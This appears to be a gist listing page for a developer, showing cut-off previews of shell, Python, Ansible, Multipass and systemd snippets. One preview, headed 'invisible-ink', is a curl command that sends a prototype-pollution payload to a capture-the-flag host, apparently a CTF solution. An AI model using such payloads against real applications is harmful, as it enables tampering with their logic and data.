pythoninthegrass

#!/usr/bin/env zsh

# SOURCES:
# https://github.com/magical-heyrovsky
# https://github.com/flatpak/flatpak/issues/994#issuecomment-1484158855
# https://apple.stackexchange.com/questions/296477/my-command-line-says-complete13-command-not-found-compdef
# https://unix.stackexchange.com/questions/353076/how-to-indent-an-heredoc-inside-an-heredoc-the-right-way

# * leading tabs: indent here-document (heredoc)
# * spaces: indent code within heredoc

pythoninthegrass

Loading variables from .env files in Ansible

Ansible has various ways of looking up data from outside sources, including plain text password files, CSV files and INI files. But it doesn't seem to have a lookup for .env files, as used in Laravel projects, also available for PHP, Ruby, Node.js, Python and others.

One option is to launch Ansible with the Ruby dotenv command line script... But that requires Ruby, which seems like overkill to me.

So here is a simpler solution that I use. It consists of:

1. The .env file itself
2. A small shell script that loads the .env file into environment variables - ansible-playbook.sh

pythoninthegrass

#!/usr/bin/env bash

# shellcheck disable=SC2046,SC2155,SC2164

brew install doxygen pkgconfig sdl2 qt5 ffmpeg cmake openssl
brew link --force openssl
pkg-config --modversion openssl
git clone --recursive https://github.com/citra-emu/citra-nightly.git
cd citra-nightly/
git checkout d380980

pythoninthegrass

#!/usr/bin/env python3

# fmt: off
import asyncio
import atexit
import base64
import pickle
import subprocess
import sys
import requests

pythoninthegrass

# invisible-ink
curl -H "Content-Type: application/json" -X POST -d '{"about": {"__proto__": {"flag": "true"}}}' http://invisible-ink.c.ctf-snyk.io/echo

pythoninthegrass

multipass + qemu on macOS

Multipass can launch and run virtual machines and configure them with cloud-init like a public cloud

Usage

brew install multipass libvirt
brew services start libvirt
multipass set local.passphrase=<foo>    # `multipass set local.passphrase` avoids stdout creds
multipass authenticate
multipass get local.driver

pythoninthegrass

OpenSSL 🔐

Install

Install the OpenSSL on Debian based systems

sudo apt-get install openssl

pythoninthegrass

#!/usr/bin/env python

import argparse
import io
import operator
import re
from contextlib import redirect_stderr
from pathlib import Path

"""

pythoninthegrass

# /usr/lib/systemd/system/backup-saves.service

[Unit]
Description=Run ludusavi then rsync to offsite backup

[Service]
Type=simple
ExecStart=bash /home/deck/backup_saves.sh

pythoninthegrass

#!/usr/bin/env python3

"""
NOTE:
Extended into a full repo at https://github.com/pythoninthegrass/convert_html_md
Any future work will be posted there.

SOURCES:
https://gist.github.com/aolle/6e595650391deef79ffb1c9bb38fb6e9
https://dev.to/kcdchennai/python-decorator-to-measure-execution-time-54hk